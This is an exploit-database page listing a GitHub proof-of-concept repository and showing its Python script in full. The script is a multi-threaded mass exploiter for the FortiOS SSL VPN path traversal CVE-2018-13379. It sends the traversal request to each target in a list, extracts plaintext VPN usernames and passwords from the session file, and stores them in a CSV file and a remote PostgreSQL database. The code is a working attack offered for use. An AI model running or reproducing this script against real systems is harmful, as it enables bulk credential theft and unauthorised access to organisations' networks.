Exploit database

GH-638e39cf54e0c2778e8cbab5f32be78f

instructor-admin/multi-threaded-mass-exploiter-cve-2018-13379-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2018-13379

20 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 8,669 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import requests
import os
import csv
import threading
from queue import Queue
from urllib3.exceptions import InsecureRequestWarning
import psycopg2
from psycopg2 import pool, sql
from datetime import datetime

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# ========== НАСТРОЙКИ ЕБАНЫЕ ==========
TARGETS_FILE = "targets.txt"
CSV_FILE = "fortios_creds.csv"

# PostgreSQL настройки (твои, блядь)
PG_HOST = "IP"
PG_PORT = 5432
PG_DB = "DB_NAME"
PG_USER = "USERNAME"
PG_PASSWORD = "PASSWORD"

# Таблица с временем запуска, епта
START_TIME = datetime.now().strftime("%Y%m%d_%H%M%S")
PG_TABLE = f"fortios_creds_{START_TIME}"

# Параметры сканирования
THREADS = 20
TIMEOUT = 8
# =====================================

# Глобальные locks
csv_lock = threading.Lock()
db_lock = threading.Lock()

# Пул соединений
db_pool = None

def init_db_pool():
    global db_pool
    try:
        db_pool = pool.SimpleConnectionPool(
            1,
            THREADS * 2,
            host=PG_HOST,
            port=PG_PORT,
            dbname=PG_DB,
            user=PG_USER,
            password=PG_PASSWORD
        )
        conn = db_pool.getconn()
        cursor = conn.cursor()
        
        # Создаём таблицу с временем запуска в названии
        cursor.execute(sql.SQL("""
            CREATE TABLE IF NOT EXISTS {} (
                id SERIAL PRIMARY KEY,
                ip VARCHAR(45) NOT NULL,
                port INTEGER NOT NULL,
                username VARCHAR(255) NOT NULL,
                password TEXT NOT NULL,
                discovered_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                source TEXT DEFAULT 'CVE-2018-13379'
            )
        """).format(sql.Identifier(PG_TABLE)))
        
        # Индекс для быстрого поиска
        cursor.execute(sql.SQL("""
            CREATE INDEX IF NOT EXISTS {} ON {} (ip, port)
        """).format(
            sql.Identifier(f"idx_{PG_TABLE}_ip_port"),
            sql.Identifier(PG_TABLE)
        ))
        
        conn.commit()
        cursor.close()
        db_pool.putconn(conn)
        
        print(f"[+] Погнали, Альфа!")
        print(f"[+] БД: {PG_HOST}:{PG_PORT}/{PG_DB}")
        print(f"[+] Таблица: {PG_TABLE} (создана {datetime.now().strftime('%Y-%m-%d %H:%M:%S')})")
        return db_pool
    except Exception as e:
        print(f"[-] БД нахуй не подключилась: {e}")
        print("    Сохраняю только в CSV, сука")
        return None

def save_to_postgres(ip, port, creds):
    global db_pool
    if not db_pool or not creds:
        return
    
    conn = None
    try:
        conn = db_pool.getconn()
        cursor = conn.cursor()
        
        with db_lock:
            data_to_insert = [(ip, port, user, pwd) for user, pwd in creds]
            cursor.executemany(sql.SQL("""
                INSERT INTO {} (ip, port, username, password)
                VALUES (%s, %s, %s, %s)
            """).format(sql.Identifier(PG_TABLE)), data_to_insert)
            conn.commit()
            cursor.close()
            print(f"    💾 В БД влетело {len(creds)} кредов")
    except Exception as e:
        print(f"    [!] Ошибка БД для {ip}:{port} – {e}")
        if conn:
            conn.rollback()
    finally:
        if conn and db_pool:
            db_pool.putconn(conn)

def extract_credentials(data):
    separator = None
    if len(data) > 73 and data[73:74] == b'\x01':
        separator = data[72:74]
    elif len(data) > 109 and data[105:110] == b'\x00\x00\x00\x00\x01':
        separator = data[104:110]

    if not separator:
        return []

    records = data.split(separator)
    creds = []
    for i, chunk in enumerate(records):
        if i == 0:
            continue
        if not chunk or chunk[0:1] == b'\x00':
            continue
        parts = [p for p in chunk.split(b'\x00') if p]
        if len(parts) >= 3:
            try:
                user = parts[1].decode('utf-8', errors='replace').strip()
                passwd = parts[2].decode('utf-8', errors='replace').strip()
                if user and passwd:
                    creds.append((user, passwd))
            except Exception:
                continue
    return list(set(creds))

def save_to_csv(ip, port, creds):
    with csv_lock:
        file_exists = os.path.isfile(CSV_FILE)
        with open(CSV_FILE, mode='a', newline='', encoding='utf-8') as f:
            writer = csv.writer(f)
            if not file_exists:
                writer.writerow(['ip', 'port', 'user', 'password', 'discovered_at'])
            for user, passwd in creds:
                writer.writerow([ip, port, user, passwd, datetime.now().strftime('%Y-%m-%d %H:%M:%S')])
            print(f"    📁 В CSV записал {len(creds)} кредов")

def worker(q):
    while True:
        item = q.get()
        if item is None:
            break
        ip, port = item
        try:
            url = f"https://{ip}:{port}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
            resp = requests.get(
                url,
                verify=False,
                timeout=TIMEOUT,
                headers={"User-Agent": "Mozilla/5.0"}
            )
            
            if resp.status_code == 200 and resp.content.startswith(b'var fgt_lang'):
                print(f"[+] ДЫРЯВЫЙ: {ip}:{port}")
                creds = extract_credentials(resp.content)
                
                if creds:
                    print(f"    → Вытащил {len(creds)} кред(ов)")
                    save_to_csv(ip, port, creds)
                    save_to_postgres(ip, port, creds)
                else:
                    print(f"    → Кредов нет, хуйня какая-то")
            else:
                print(f"[-] Не дырявый: {ip}:{port}")
        except Exception as e:
            print(f"[!] Ошибка на {ip}:{port} – {str(e)[:80]}")
        finally:
            q.task_done()

def main():
    print("""
    ╔════════════════════════════════════════════╗
    ║  CVE-2018-13379 EXPLOIT                    ║
    ╚════════════════════════════════════════════╝
    """)
    
    global db_pool
    db_pool = init_db_pool()
    
    if not os.path.isfile(TARGETS_FILE):
        print(f"[-] Нет файла {TARGETS_FILE}, создаю пример...")
        with open(TARGETS_FILE, 'w') as f:
            f.write("# Формат: ip:port\n")
            f.write("192.168.1.1:8443\n")
            f.write("10.0.0.1:10443\n")
        print(f"[+] Создан {TARGETS_FILE}, заполни целями и запусти заново")
        sys.exit(1)
    
    targets = []
    with open(TARGETS_FILE, 'r') as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith('#'):
                continue
            if ':' not in line:
                continue
            ip, port_str = line.rsplit(':', 1)
            try:
                port = int(port_str)
                targets.append((ip, port))
            except ValueError:
                continue
    
    if not targets:
        print("[-] Нет валидных целей в targets.txt")
        sys.exit(1)
    
    print(f"[+] Загружено {len(targets)} целей. Ебашим в {THREADS} потоков...")
    print(f"[+] CSV: {CSV_FILE}")
    print(f"[+] БД: {PG_HOST}:{PG_PORT}/{PG_DB} -> {PG_TABLE}")
    print("-" * 60)
    
    q = Queue()
    threads = []
    
    for _ in range(THREADS):
        t = threading.Thread(target=worker, args=(q,))
        t.daemon = True
        t.start()
        threads.append(t)
    
    for target in targets:
        q.put(target)
    
    q.join()
    
    for _ in range(THREADS):
        q.put(None)
    for t in threads:
        t.join()
    
    if db_pool:
        db_pool.closeall()
    
    print("-" * 60)
    print(f"\n[✓] Готово, Альфа.")
    print(f"[✓] CSV: {os.path.abspath(CSV_FILE)}")
    if db_pool:
        print(f"[✓] БД: {PG_HOST}:{PG_PORT}/{PG_DB} -> таблица {PG_TABLE}")
        print(f"[✓] Время запуска: {START_TIME}")

if __name__ == "__main__":
    main()